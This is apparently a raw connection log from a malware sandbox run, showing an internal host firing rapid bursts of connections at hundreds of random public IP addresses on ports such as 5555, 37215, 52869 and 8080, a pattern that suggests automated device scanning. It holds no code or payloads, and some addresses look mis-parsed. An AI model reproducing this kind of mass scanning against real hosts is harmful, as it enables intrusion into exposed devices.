Feb 12, 2023 21:24:36.593875885 CET	22272	5555	192.168.2.23	35.190.51.89
Feb 12, 2023 21:24:36.593875885 CET	22272	5555	192.168.2.23	153.180.16.158
Feb 12, 2023 21:24:36.593885899 CET	22272	5555	192.168.2.23	42.228.238.89
Feb 12, 2023 21:24:36.593885899 CET	22272	5555	192.168.2.23	19.250.130.177
Feb 12, 2023 21:24:36.593904018 CET	22272	5555	192.168.2.23	186.187.186.250
Feb 12, 2023 21:24:36.593919992 CET	22272	5555	192.168.2.23	43.253.137.84
Feb 12, 2023 21:24:36.593925953 CET	22272	5555	192.168.2.23	167.220.69.113
Feb 12, 2023 21:24:36.593961000 CET	22272	5555	192.168.2.23	83.117.216.25
Feb 12, 2023 21:24:36.593980074 CET	22272	5555	192.168.2.23	216.132.199.118
Feb 12, 2023 21:24:36.593980074 CET	22272	5555	192.168.2.23	128.94.39.220
Feb 12, 2023 21:24:36.593991041 CET	22272	5555	192.168.2.23	53.110.31.110
Feb 12, 2023 21:24:36.593992949 CET	22272	5555	192.168.2.23	129.190.25.121
Feb 12, 2023 21:24:36.594007015 CET	22272	5555	192.168.2.23	112.86.119.240
Feb 12, 2023 21:24:36.594032049 CET	22272	5555	192.168.2.23	137.216.218.142
Feb 12, 2023 21:24:36.594043016 CET	22272	5555	192.168.2.23	205.226.201.212
Feb 12, 2023 21:24:36.594047070 CET	22272	5555	192.168.2.23	139.137.125.64
Feb 12, 2023 21:24:36.594073057 CET	22272	5555	192.168.2.23	38.61.187.192
Feb 12, 2023 21:24:36.594074965 CET	22272	5555	192.168.2.23	69.254.189.26
Feb 12, 2023 21:24:36.594089031 CET	22272	5555	192.168.2.23	222.187.240.149
Feb 12, 2023 21:24:36.594093084 CET	22272	5555	192.168.2.23	221.32.213.166
Feb 12, 2023 21:24:36.594114065 CET	22272	5555	192.168.2.23	222.239.240.162
Feb 12, 2023 21:24:36.594147921 CET	22272	5555	192.168.2.23	164.117.141.225
Feb 12, 2023 21:24:36.594196081 CET	22272	5555	192.168.2.23	118.127.47.99
Feb 12, 2023 21:24:36.594196081 CET	22272	5555	192.168.2.23	213.49.188.148
Feb 12, 2023 21:24:36.594225883 CET	22272	5555	192.168.2.23	50.198.203.237
Feb 12, 2023 21:24:36.594225883 CET	22272	5555	192.168.2.23	60.192.142.240
Feb 12, 2023 21:24:36.594227076 CET	22272	5555	192.168.2.23	20.93.78.155
Feb 12, 2023 21:24:36.594243050 CET	22272	5555	192.168.2.23	199.75.203.14
Feb 12, 2023 21:24:36.594244003 CET	22272	5555	192.168.2.23	181.27.59.73
Feb 12, 2023 21:24:36.594243050 CET	22272	5555	192.168.2.23	91.115.186.49
Feb 12, 2023 21:24:36.594296932 CET	22272	5555	192.168.2.23	145.52.25.162
Feb 12, 2023 21:24:36.594320059 CET	22272	5555	192.168.2.23	171.30.20.105
Feb 12, 2023 21:24:36.594322920 CET	22272	5555	192.168.2.23	201.241.211.66
Feb 12, 2023 21:24:36.594350100 CET	22272	5555	192.168.2.23	196.176.30.111
Feb 12, 2023 21:24:36.594362974 CET	22272	5555	192.168.2.23	112.42.51.180
Feb 12, 2023 21:24:36.594376087 CET	22272	5555	192.168.2.23	103.22.248.227
Feb 12, 2023 21:24:36.594391108 CET	22272	5555	192.168.2.23	23.143.165.122
Feb 12, 2023 21:24:36.594413042 CET	22272	5555	192.168.2.23	51.229.204.240
Feb 12, 2023 21:24:36.594439983 CET	22272	5555	192.168.2.23	183.229.51.57
Feb 12, 2023 21:24:36.594444990 CET	22272	5555	192.168.2.23	72.66.55.253
Feb 12, 2023 21:24:36.594454050 CET	22272	5555	192.168.2.23	66.144.34.244
Feb 12, 2023 21:24:36.594456911 CET	22272	5555	192.168.2.23	115.22.183.144
Feb 12, 2023 21:24:36.594474077 CET	22272	5555	192.168.2.23	171.57.188.83
Feb 12, 2023 21:24:36.594496012 CET	22272	5555	192.168.2.23	170.57.231.254
Feb 12, 2023 21:24:36.594532013 CET	22272	5555	192.168.2.23	62.132.71.5
Feb 12, 2023 21:24:36.594558954 CET	22272	5555	192.168.2.23	53.65.162.54
Feb 12, 2023 21:24:36.594563007 CET	22272	5555	192.168.2.23	222.224.241.132
Feb 12, 2023 21:24:36.594614983 CET	22272	5555	192.168.2.23	140.41.227.137
Feb 12, 2023 21:24:36.594614983 CET	22272	5555	192.168.2.23	204.202.235.147
Feb 12, 2023 21:24:36.594614983 CET	22272	5555	192.168.2.23	53.106.8.188
Feb 12, 2023 21:24:36.594620943 CET	22272	5555	192.168.2.23	80.201.93.158
Feb 12, 2023 21:24:36.594620943 CET	22272	5555	192.168.2.23	206.194.79.145
Feb 12, 2023 21:24:36.594620943 CET	22272	5555	192.168.2.23	111.169.155.234
Feb 12, 2023 21:24:36.594624996 CET	22272	5555	192.168.2.23	136.120.155.200
Feb 12, 2023 21:24:36.594624996 CET	22272	5555	192.168.2.23	210.92.50.223
Feb 12, 2023 21:24:36.594624996 CET	22272	5555	192.168.2.23	143.249.141.168
Feb 12, 2023 21:24:36.594624996 CET	22272	5555	192.168.2.23	19.75.131.150
Feb 12, 2023 21:24:36.594626904 CET	22272	5555	192.168.2.23	40.41.0.192
Feb 12, 2023 21:24:36.594620943 CET	22272	5555	192.168.2.23	12.22.222.190
Feb 12, 2023 21:24:36.594629049 CET	22272	5555	192.168.2.23	218.251.253.78
Feb 12, 2023 21:24:36.594624996 CET	22272	5555	192.168.2.23	108.18.31.77
Feb 12, 2023 21:24:36.594624996 CET	22272	5555	192.168.2.23	165.150.219.223
Feb 12, 2023 21:24:36.594620943 CET	22272	5555	192.168.2.23	2.89.67.19
Feb 12, 2023 21:24:36.594626904 CET	22272	5555	192.168.2.23	99.22.13.230
Feb 12, 2023 21:24:36.594624996 CET	22272	5555	192.168.2.23	73.130.26.21
Feb 12, 2023 21:24:36.594629049 CET	22272	5555	192.168.2.23	148.105.104.95
Feb 12, 2023 21:24:36.594624996 CET	22272	5555	192.168.2.23	162.21.24.156
Feb 12, 2023 21:24:36.594626904 CET	22272	5555	192.168.2.23	35.101.84.152
Feb 12, 2023 21:24:36.594624996 CET	22272	5555	192.168.2.23	104.196.218.167
Feb 12, 2023 21:24:36.594626904 CET	22272	5555	192.168.2.23	139.196.191.200
Feb 12, 2023 21:24:36.594685078 CET	22272	5555	192.168.2.23	158.78.153.23
Feb 12, 2023 21:24:36.594685078 CET	22272	5555	192.168.2.23	93.193.13.235
Feb 12, 2023 21:24:36.594685078 CET	22272	5555	192.168.2.23	139.162.62.195
Feb 12, 2023 21:24:36.594688892 CET	22272	5555	192.168.2.23	35.70.239.142
Feb 12, 2023 21:24:36.594688892 CET	22272	5555	192.168.2.23	85.121.189.177
Feb 12, 2023 21:24:36.594688892 CET	22272	5555	192.168.2.23	53.25.69.119
Feb 12, 2023 21:24:36.594707966 CET	22272	5555	192.168.2.23	63.82.137.65
Feb 12, 2023 21:24:36.594707966 CET	22272	5555	192.168.2.23	200.119.154.47
Feb 12, 2023 21:24:36.594718933 CET	22272	5555	192.168.2.23	185.148.138.61
Feb 12, 2023 21:24:36.594719887 CET	22272	5555	192.168.2.23	132.43.183.154
Feb 12, 2023 21:24:36.594722986 CET	22272	5555	192.168.2.23	118.104.108.195
Feb 12, 2023 21:24:36.594769955 CET	22272	5555	192.168.2.23	141.44.186.17
Feb 12, 2023 21:24:36.594769955 CET	22272	5555	192.168.2.23	17.24.189.205
Feb 12, 2023 21:24:36.594769955 CET	22272	5555	192.168.2.23	2.108.101.42
Feb 12, 2023 21:24:36.594769955 CET	22272	5555	192.168.2.23	88.144.227.197
Feb 12, 2023 21:24:36.594772100 CET	22272	5555	192.168.2.23	213.130.21.157
Feb 12, 2023 21:24:36.594772100 CET	22272	5555	192.168.2.23	210.19.233.247
Feb 12, 2023 21:24:36.594772100 CET	22272	5555	192.168.2.23	157.43.150.239
Feb 12, 2023 21:24:36.594772100 CET	22272	5555	192.168.2.23	143.40.120.43
Feb 12, 2023 21:24:36.594772100 CET	22272	5555	192.168.2.23	116.106.14.55
Feb 12, 2023 21:24:36.594772100 CET	22272	5555	192.168.2.23	136.42.167.31
Feb 12, 2023 21:24:36.594772100 CET	22272	5555	192.168.2.23	32.183.60.192
Feb 12, 2023 21:24:36.594775915 CET	22272	5555	192.168.2.23	54.190.38.221
Feb 12, 2023 21:24:36.594775915 CET	22272	5555	192.168.2.23	57.132.103.101
Feb 12, 2023 21:24:36.594778061 CET	22272	5555	192.168.2.23	132.81.68.194
Feb 12, 2023 21:24:36.594777107 CET	22272	5555	192.168.2.23	144.219.114.126
Feb 12, 2023 21:24:36.594778061 CET	22272	5555	192.168.2.23	130.231.1.235
Feb 12, 2023 21:24:36.594777107 CET	22272	5555	192.168.2.23	220.36.199.90
Feb 12, 2023 21:24:36.594778061 CET	22272	5555	192.168.2.23	220.147.92.128
Feb 12, 2023 21:24:36.594779015 CET	22272	5555	192.168.2.23	14.211.243.172
Feb 12, 2023 21:24:36.594777107 CET	22272	5555	192.168.2.23	120.186.121.127
Feb 12, 2023 21:24:36.594778061 CET	22272	5555	192.168.2.23	35.202.166.222
Feb 12, 2023 21:24:36.594778061 CET	22272	5555	192.168.2.23	138.75.146.83
Feb 12, 2023 21:24:36.594779015 CET	22272	5555	192.168.2.23	172.130.229.80
Feb 12, 2023 21:24:36.594779015 CET	22272	5555	192.168.2.23	111.208.125.179
Feb 12, 2023 21:24:36.594779015 CET	22272	5555	192.168.2.23	118.116.193.147
Feb 12, 2023 21:24:36.594837904 CET	22272	5555	192.168.2.23	146.110.152.197
Feb 12, 2023 21:24:36.594841003 CET	22272	5555	192.168.2.23	137.186.123.226
Feb 12, 2023 21:24:36.594841003 CET	22272	5555	192.168.2.23	94.42.152.254
Feb 12, 2023 21:24:36.594841003 CET	22272	5555	192.168.2.23	217.225.219.52
Feb 12, 2023 21:24:36.594841003 CET	22272	5555	192.168.2.23	50.62.101.86
Feb 12, 2023 21:24:36.594841003 CET	22272	5555	192.168.2.23	128.55.253.124
Feb 12, 2023 21:24:36.594841003 CET	22272	5555	192.168.2.23	123.206.133.9
Feb 12, 2023 21:24:36.594841003 CET	22272	5555	192.168.2.23	207.224.183.139
Feb 12, 2023 21:24:36.594861984 CET	22272	5555	192.168.2.23	223.188.199.70
Feb 12, 2023 21:24:36.594841003 CET	22272	5555	192.168.2.23	52.200.140.119
Feb 12, 2023 21:24:36.594861984 CET	22272	5555	192.168.2.23	74.1.131.23
Feb 12, 2023 21:24:36.594861984 CET	22272	5555	192.168.2.23	140.253.58.244
Feb 12, 2023 21:24:36.594866037 CET	22272	5555	192.168.2.23	106.222.78.112
Feb 12, 2023 21:24:36.594861984 CET	22272	5555	192.168.2.23	198.109.245.176
Feb 12, 2023 21:24:36.594861984 CET	22272	5555	192.168.2.23	168.251.124.6
Feb 12, 2023 21:24:36.594867945 CET	22272	5555	192.168.2.23	154.159.48.181
Feb 12, 2023 21:24:36.594861984 CET	22272	5555	192.168.2.23	108.95.33.64
Feb 12, 2023 21:24:36.594870090 CET	22272	5555	192.168.2.23	110.206.197.13
Feb 12, 2023 21:24:36.594867945 CET	22272	5555	192.168.2.23	66.55.225.221
Feb 12, 2023 21:24:36.594862938 CET	22272	5555	192.168.2.23	106.27.109.163
Feb 12, 2023 21:24:36.594867945 CET	22272	5555	192.168.2.23	152.252.17.195
Feb 12, 2023 21:24:36.594870090 CET	22272	5555	192.168.2.23	27.255.33.115
Feb 12, 2023 21:24:36.594872952 CET	22272	5555	192.168.2.23	192.253.137.191
Feb 12, 2023 21:24:36.594867945 CET	22272	5555	192.168.2.23	213.90.39.4
Feb 12, 2023 21:24:36.594870090 CET	22272	5555	192.168.2.23	142.28.69.34
Feb 12, 2023 21:24:36.594867945 CET	22272	5555	192.168.2.23	222.196.238.45
Feb 12, 2023 21:24:36.594930887 CET	22272	5555	192.168.2.23	89.163.64.51
Feb 12, 2023 21:24:36.594933987 CET	22272	5555	192.168.2.23	206.91.100.113
Feb 12, 2023 21:24:36.594933987 CET	22272	5555	192.168.2.23	118.46.35.159
Feb 12, 2023 21:24:36.594935894 CET	22272	5555	192.168.2.23	12.71.153.134
Feb 12, 2023 21:24:36.594935894 CET	22272	5555	192.168.2.23	74.166.8.51
Feb 12, 2023 21:24:36.594937086 CET	22272	5555	192.168.2.23	60.121.235.4
Feb 12, 2023 21:24:36.594935894 CET	22272	5555	192.168.2.23	70.131.236.215
Feb 12, 2023 21:24:36.594937086 CET	22272	5555	192.168.2.23	222.54.213.126
Feb 12, 2023 21:24:36.594935894 CET	22272	5555	192.168.2.23	146.234.236.42
Feb 12, 2023 21:24:36.594937086 CET	22272	5555	192.168.2.23	206.42.60.41
Feb 12, 2023 21:24:36.594937086 CET	22272	5555	192.168.2.23	112.156.127.228
Feb 12, 2023 21:24:36.594937086 CET	22272	5555	192.168.2.23	27.169.51.237
Feb 12, 2023 21:24:36.594937086 CET	22272	5555	192.168.2.23	164.34.27.153
Feb 12, 2023 21:24:36.594958067 CET	22272	5555	192.168.2.23	154.96.120.95
Feb 12, 2023 21:24:36.594959974 CET	22272	5555	192.168.2.23	163.43.87.127
Feb 12, 2023 21:24:36.594959974 CET	22272	5555	192.168.2.23	220.19.120.236
Feb 12, 2023 21:24:36.594959974 CET	22272	5555	192.168.2.23	95.72.34.232
Feb 12, 2023 21:24:36.594959974 CET	22272	5555	192.168.2.23	114.185.120.17
Feb 12, 2023 21:24:36.594959974 CET	22272	5555	192.168.2.23	170.238.159.28
Feb 12, 2023 21:24:36.594959974 CET	22272	5555	192.168.2.23	196.100.107.16
Feb 12, 2023 21:24:36.594959974 CET	22272	5555	192.168.2.23	144.153.12.102
Feb 12, 2023 21:24:36.656277895 CET	56230	37215	192.168.2.23	56.49.46.53
Feb 12, 2023 21:24:36.656277895 CET	43024	37215	192.168.2.23	49.50.57.46
Feb 12, 2023 21:24:36.656297922 CET	34430	37215	192.168.2.23	49.48.46.57
Feb 12, 2023 21:24:36.656297922 CET	38546	37215	192.168.2.23	51.49.46.49
Feb 12, 2023 21:24:36.656305075 CET	41364	37215	192.168.2.23	54.54.46.49
Feb 12, 2023 21:24:36.657354116 CET	37215	52981	197.1.109.43	192.168.2.23
Feb 12, 2023 21:24:36.657445908 CET	52981	37215	192.168.2.23	197.1.109.43
Feb 12, 2023 21:24:36.784684896 CET	38060	8080	192.168.2.23	52.55.46.50
Feb 12, 2023 21:24:36.792974949 CET	37215	52981	197.102.68.29	192.168.2.23
Feb 12, 2023 21:24:36.809094906 CET	44026	8080	192.168.2.23	49.53.53.46
Feb 12, 2023 21:24:36.816381931 CET	55174	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:36.820293903 CET	55182	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:36.820310116 CET	55180	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:36.820323944 CET	54424	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:36.820369005 CET	55172	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:36.820369005 CET	54422	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:36.856584072 CET	49238	8080	192.168.2.23	49.57.55.46
Feb 12, 2023 21:24:36.858490944 CET	37215	52981	222.116.1.69	192.168.2.23
Feb 12, 2023 21:24:36.890018940 CET	55892	8080	192.168.2.23	49.57.46.49
Feb 12, 2023 21:24:36.891906977 CET	5555	22272	60.121.235.4	192.168.2.23
Feb 12, 2023 21:24:36.923183918 CET	52990	8080	192.168.2.23	49.50.46.49
Feb 12, 2023 21:24:36.931921005 CET	37692	8080	192.168.2.23	50.48.56.46
Feb 12, 2023 21:24:36.949440956 CET	55248	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:36.976349115 CET	47720	5555	192.168.2.23	49.50.57.46
Feb 12, 2023 21:24:36.976357937 CET	42864	7574	192.168.2.23	49.50.57.46
Feb 12, 2023 21:24:36.977992058 CET	47252	8080	192.168.2.23	57.54.46.49
Feb 12, 2023 21:24:36.997503996 CET	34012	8080	192.168.2.23	49.49.53.46
Feb 12, 2023 21:24:37.014847994 CET	37215	52981	157.32.4.75	192.168.2.23
Feb 12, 2023 21:24:37.031105995 CET	54932	8080	192.168.2.23	49.55.56.46
Feb 12, 2023 21:24:37.136408091 CET	40836	80	192.168.2.23	50.46.50.48
Feb 12, 2023 21:24:37.136415005 CET	48294	80	192.168.2.23	56.56.46.49
Feb 12, 2023 21:24:37.136418104 CET	51138	80	192.168.2.23	52.49.46.51
Feb 12, 2023 21:24:37.136418104 CET	46552	80	192.168.2.23	56.56.46.53
Feb 12, 2023 21:24:37.168293953 CET	57020	80	192.168.2.23	55.56.46.49
Feb 12, 2023 21:24:37.168299913 CET	49046	80	192.168.2.23	50.46.49.57
Feb 12, 2023 21:24:37.232319117 CET	52460	80	192.168.2.23	49.48.53.46
Feb 12, 2023 21:24:37.232316971 CET	48692	80	192.168.2.23	55.56.46.57
Feb 12, 2023 21:24:37.232331991 CET	49824	80	192.168.2.23	57.56.46.49
Feb 12, 2023 21:24:37.236267090 CET	60928	80	192.168.2.23	49.57.49.46
Feb 12, 2023 21:24:37.236299992 CET	53206	80	192.168.2.23	49.49.52.46
Feb 12, 2023 21:24:37.236335039 CET	58856	80	192.168.2.23	50.50.56.46
Feb 12, 2023 21:24:37.264457941 CET	50312	80	192.168.2.23	49.50.57.46
Feb 12, 2023 21:24:37.361900091 CET	49840	37215	192.168.2.23	52.55.46.50
Feb 12, 2023 21:24:37.420512915 CET	45100	37215	192.168.2.23	49.53.53.46
Feb 12, 2023 21:24:37.456284046 CET	45632	52869	192.168.2.23	50.50.57.46
Feb 12, 2023 21:24:37.456285000 CET	37422	52869	192.168.2.23	49.56.56.46
Feb 12, 2023 21:24:37.456286907 CET	35146	52869	192.168.2.23	51.50.46.53
Feb 12, 2023 21:24:37.456286907 CET	45486	52869	192.168.2.23	51.55.46.49
Feb 12, 2023 21:24:37.456286907 CET	51770	52869	192.168.2.23	49.48.56.46
Feb 12, 2023 21:24:37.456290007 CET	38834	52869	192.168.2.23	49.48.50.46
Feb 12, 2023 21:24:37.456286907 CET	45636	52869	192.168.2.23	50.50.57.46
Feb 12, 2023 21:24:37.460108995 CET	53914	37215	192.168.2.23	49.57.55.46
Feb 12, 2023 21:24:37.484600067 CET	48090	37215	192.168.2.23	49.57.46.49
Feb 12, 2023 21:24:37.488270998 CET	51704	80	192.168.2.23	49.51.56.46
Feb 12, 2023 21:24:37.488275051 CET	41674	80	192.168.2.23	49.54.53.46
Feb 12, 2023 21:24:37.488275051 CET	36748	52869	192.168.2.23	48.46.54.51
Feb 12, 2023 21:24:37.488296032 CET	38790	52869	192.168.2.23	50.50.51.46
Feb 12, 2023 21:24:37.488317013 CET	36700	80	192.168.2.23	57.49.46.53
Feb 12, 2023 21:24:37.488317013 CET	43290	80	192.168.2.23	49.56.56.46
Feb 12, 2023 21:24:37.488322020 CET	59602	52869	192.168.2.23	49.54.57.46
Feb 12, 2023 21:24:37.493078947 CET	47492	37215	192.168.2.23	49.50.46.49
Feb 12, 2023 21:24:37.584223986 CET	59410	81	192.168.2.23	49.55.55.46
Feb 12, 2023 21:24:37.586661100 CET	52981	37215	192.168.2.23	197.143.242.55
Feb 12, 2023 21:24:37.586668015 CET	52981	37215	192.168.2.23	157.142.227.218
Feb 12, 2023 21:24:37.586673021 CET	52981	37215	192.168.2.23	197.83.216.149
Feb 12, 2023 21:24:37.586677074 CET	52981	37215	192.168.2.23	197.109.76.223
Feb 12, 2023 21:24:37.586684942 CET	52981	37215	192.168.2.23	41.157.81.174
Feb 12, 2023 21:24:37.586699963 CET	52981	37215	192.168.2.23	157.61.23.127
Feb 12, 2023 21:24:37.586699963 CET	52981	37215	192.168.2.23	164.14.80.128
Feb 12, 2023 21:24:37.586699963 CET	52981	37215	192.168.2.23	197.85.1.54
Feb 12, 2023 21:24:37.586734056 CET	52981	37215	192.168.2.23	197.229.133.229
Feb 12, 2023 21:24:37.586745977 CET	52981	37215	192.168.2.23	157.4.15.184
Feb 12, 2023 21:24:37.586749077 CET	52981	37215	192.168.2.23	49.72.122.142
Feb 12, 2023 21:24:37.586754084 CET	52981	37215	192.168.2.23	41.16.125.233
Feb 12, 2023 21:24:37.586754084 CET	52981	37215	192.168.2.23	157.212.13.139
Feb 12, 2023 21:24:37.586771965 CET	52981	37215	192.168.2.23	197.158.242.156
Feb 12, 2023 21:24:37.586776972 CET	52981	37215	192.168.2.23	157.140.92.41
Feb 12, 2023 21:24:37.586780071 CET	52981	37215	192.168.2.23	157.138.119.131
Feb 12, 2023 21:24:37.586781025 CET	52981	37215	192.168.2.23	41.188.13.114
Feb 12, 2023 21:24:37.586797953 CET	52981	37215	192.168.2.23	197.58.142.67
Feb 12, 2023 21:24:37.586797953 CET	52981	37215	192.168.2.23	197.38.35.92
Feb 12, 2023 21:24:37.586803913 CET	52981	37215	192.168.2.23	157.250.13.162
Feb 12, 2023 21:24:37.586852074 CET	52981	37215	192.168.2.23	197.232.71.206
Feb 12, 2023 21:24:37.586852074 CET	52981	37215	192.168.2.23	13.41.8.38
Feb 12, 2023 21:24:37.586855888 CET	52981	37215	192.168.2.23	197.5.179.88
Feb 12, 2023 21:24:37.586855888 CET	52981	37215	192.168.2.23	197.187.59.81
Feb 12, 2023 21:24:37.586868048 CET	52981	37215	192.168.2.23	41.43.149.255
Feb 12, 2023 21:24:37.586867094 CET	52981	37215	192.168.2.23	198.154.231.130
Feb 12, 2023 21:24:37.586867094 CET	52981	37215	192.168.2.23	197.162.192.129
Feb 12, 2023 21:24:37.586868048 CET	52981	37215	192.168.2.23	41.184.242.125
Feb 12, 2023 21:24:37.586868048 CET	52981	37215	192.168.2.23	41.190.12.213
Feb 12, 2023 21:24:37.586880922 CET	52981	37215	192.168.2.23	41.240.247.9
Feb 12, 2023 21:24:37.586883068 CET	52981	37215	192.168.2.23	157.50.72.99
Feb 12, 2023 21:24:37.586883068 CET	52981	37215	192.168.2.23	41.203.161.198
Feb 12, 2023 21:24:37.586885929 CET	52981	37215	192.168.2.23	157.231.225.39
Feb 12, 2023 21:24:37.586898088 CET	52981	37215	192.168.2.23	186.77.199.243
Feb 12, 2023 21:24:37.586909056 CET	52981	37215	192.168.2.23	197.37.81.78
Feb 12, 2023 21:24:37.586911917 CET	52981	37215	192.168.2.23	53.139.175.199
Feb 12, 2023 21:24:37.586911917 CET	52981	37215	192.168.2.23	197.38.47.51
Feb 12, 2023 21:24:37.586930037 CET	52981	37215	192.168.2.23	41.178.143.178
Feb 12, 2023 21:24:37.586940050 CET	52981	37215	192.168.2.23	197.21.208.95
Feb 12, 2023 21:24:37.586946964 CET	52981	37215	192.168.2.23	197.142.179.126
Feb 12, 2023 21:24:37.586947918 CET	52981	37215	192.168.2.23	41.72.121.139
Feb 12, 2023 21:24:37.586950064 CET	52981	37215	192.168.2.23	157.229.246.234
Feb 12, 2023 21:24:37.586951971 CET	52981	37215	192.168.2.23	41.2.39.212
Feb 12, 2023 21:24:37.586950064 CET	52981	37215	192.168.2.23	41.110.121.43
Feb 12, 2023 21:24:37.586966038 CET	52981	37215	192.168.2.23	195.32.55.176
Feb 12, 2023 21:24:37.586971998 CET	52981	37215	192.168.2.23	142.247.247.50
Feb 12, 2023 21:24:37.586976051 CET	52981	37215	192.168.2.23	61.113.76.166
Feb 12, 2023 21:24:37.586985111 CET	52981	37215	192.168.2.23	197.141.140.103
Feb 12, 2023 21:24:37.586993933 CET	52981	37215	192.168.2.23	197.21.113.182
Feb 12, 2023 21:24:37.586997986 CET	52981	37215	192.168.2.23	41.23.249.33
Feb 12, 2023 21:24:37.587013960 CET	52981	37215	192.168.2.23	58.252.21.69
Feb 12, 2023 21:24:37.587016106 CET	52981	37215	192.168.2.23	157.220.2.7
Feb 12, 2023 21:24:37.587016106 CET	52981	37215	192.168.2.23	197.40.20.222
Feb 12, 2023 21:24:37.587016106 CET	52981	37215	192.168.2.23	197.67.218.48
Feb 12, 2023 21:24:37.587016106 CET	52981	37215	192.168.2.23	157.141.195.181
Feb 12, 2023 21:24:37.587016106 CET	52981	37215	192.168.2.23	164.231.219.110
Feb 12, 2023 21:24:37.587022066 CET	52981	37215	192.168.2.23	157.170.117.233
Feb 12, 2023 21:24:37.587022066 CET	52981	37215	192.168.2.23	197.251.152.191
Feb 12, 2023 21:24:37.587033987 CET	52981	37215	192.168.2.23	197.90.110.102
Feb 12, 2023 21:24:37.587037086 CET	52981	37215	192.168.2.23	197.152.2.27
Feb 12, 2023 21:24:37.587042093 CET	52981	37215	192.168.2.23	197.180.6.132
Feb 12, 2023 21:24:37.587047100 CET	52981	37215	192.168.2.23	41.249.27.206
Feb 12, 2023 21:24:37.587064981 CET	52981	37215	192.168.2.23	157.215.34.101
Feb 12, 2023 21:24:37.587068081 CET	52981	37215	192.168.2.23	41.111.79.98
Feb 12, 2023 21:24:37.587074041 CET	52981	37215	192.168.2.23	41.65.177.244
Feb 12, 2023 21:24:37.587074041 CET	52981	37215	192.168.2.23	41.213.151.109
Feb 12, 2023 21:24:37.587078094 CET	52981	37215	192.168.2.23	197.211.82.70
Feb 12, 2023 21:24:37.587080956 CET	52981	37215	192.168.2.23	197.241.161.211
Feb 12, 2023 21:24:37.587083101 CET	52981	37215	192.168.2.23	197.169.131.25
Feb 12, 2023 21:24:37.587115049 CET	52981	37215	192.168.2.23	183.112.9.43
Feb 12, 2023 21:24:37.587115049 CET	52981	37215	192.168.2.23	197.44.220.32
Feb 12, 2023 21:24:37.587117910 CET	52981	37215	192.168.2.23	197.9.38.23
Feb 12, 2023 21:24:37.587117910 CET	52981	37215	192.168.2.23	157.211.209.31
Feb 12, 2023 21:24:37.587117910 CET	52981	37215	192.168.2.23	41.219.159.42
Feb 12, 2023 21:24:37.587126017 CET	52981	37215	192.168.2.23	197.129.24.193
Feb 12, 2023 21:24:37.587132931 CET	52981	37215	192.168.2.23	157.76.140.140
Feb 12, 2023 21:24:37.587132931 CET	52981	37215	192.168.2.23	41.87.210.48
Feb 12, 2023 21:24:37.587132931 CET	52981	37215	192.168.2.23	131.190.139.60
Feb 12, 2023 21:24:37.587140083 CET	52981	37215	192.168.2.23	79.208.78.54
Feb 12, 2023 21:24:37.587141991 CET	52981	37215	192.168.2.23	197.36.206.125
Feb 12, 2023 21:24:37.587141991 CET	52981	37215	192.168.2.23	41.48.172.90
Feb 12, 2023 21:24:37.587143898 CET	52981	37215	192.168.2.23	41.213.169.45
Feb 12, 2023 21:24:37.587162018 CET	52981	37215	192.168.2.23	218.85.114.57
Feb 12, 2023 21:24:37.587162018 CET	52981	37215	192.168.2.23	157.231.137.16
Feb 12, 2023 21:24:37.587162018 CET	52981	37215	192.168.2.23	34.52.177.146
Feb 12, 2023 21:24:37.587177992 CET	52981	37215	192.168.2.23	41.101.148.54
Feb 12, 2023 21:24:37.587181091 CET	52981	37215	192.168.2.23	197.32.215.113
Feb 12, 2023 21:24:37.587182999 CET	52981	37215	192.168.2.23	157.34.36.125
Feb 12, 2023 21:24:37.587186098 CET	52981	37215	192.168.2.23	41.224.110.143
Feb 12, 2023 21:24:37.587208986 CET	52981	37215	192.168.2.23	157.11.93.0
Feb 12, 2023 21:24:37.587208986 CET	52981	37215	192.168.2.23	157.221.61.148
Feb 12, 2023 21:24:37.587208986 CET	52981	37215	192.168.2.23	41.225.77.125
Feb 12, 2023 21:24:37.587208986 CET	52981	37215	192.168.2.23	41.45.20.151
Feb 12, 2023 21:24:37.587218046 CET	52981	37215	192.168.2.23	197.214.1.28
Feb 12, 2023 21:24:37.587229013 CET	52981	37215	192.168.2.23	128.179.180.201
Feb 12, 2023 21:24:37.587234974 CET	52981	37215	192.168.2.23	41.203.42.94
Feb 12, 2023 21:24:37.587239981 CET	52981	37215	192.168.2.23	157.42.43.143
Feb 12, 2023 21:24:37.587245941 CET	52981	37215	192.168.2.23	74.54.185.162
Feb 12, 2023 21:24:37.587249041 CET	52981	37215	192.168.2.23	41.106.191.132
Feb 12, 2023 21:24:37.587274075 CET	52981	37215	192.168.2.23	157.92.108.40
Feb 12, 2023 21:24:37.587274075 CET	52981	37215	192.168.2.23	197.167.102.48
Feb 12, 2023 21:24:37.587291956 CET	52981	37215	192.168.2.23	41.12.228.231
Feb 12, 2023 21:24:37.587294102 CET	52981	37215	192.168.2.23	42.95.9.190
Feb 12, 2023 21:24:37.587297916 CET	52981	37215	192.168.2.23	189.16.254.250
Feb 12, 2023 21:24:37.587301016 CET	52981	37215	192.168.2.23	41.177.164.222
Feb 12, 2023 21:24:37.587301016 CET	52981	37215	192.168.2.23	41.10.157.153
Feb 12, 2023 21:24:37.587305069 CET	52981	37215	192.168.2.23	41.232.24.234
Feb 12, 2023 21:24:37.587327003 CET	52981	37215	192.168.2.23	197.147.135.172
Feb 12, 2023 21:24:37.587332010 CET	52981	37215	192.168.2.23	157.229.170.252
Feb 12, 2023 21:24:37.587332010 CET	52981	37215	192.168.2.23	197.161.205.37
Feb 12, 2023 21:24:37.587337971 CET	52981	37215	192.168.2.23	197.83.234.193
Feb 12, 2023 21:24:37.587344885 CET	52981	37215	192.168.2.23	35.247.254.85
Feb 12, 2023 21:24:37.587353945 CET	52981	37215	192.168.2.23	197.146.69.141
Feb 12, 2023 21:24:37.587357044 CET	52981	37215	192.168.2.23	157.128.155.103
Feb 12, 2023 21:24:37.587357998 CET	52981	37215	192.168.2.23	197.68.12.216
Feb 12, 2023 21:24:37.587371111 CET	52981	37215	192.168.2.23	197.32.148.97
Feb 12, 2023 21:24:37.587371111 CET	52981	37215	192.168.2.23	157.89.21.159
Feb 12, 2023 21:24:37.587379932 CET	52981	37215	192.168.2.23	197.188.93.42
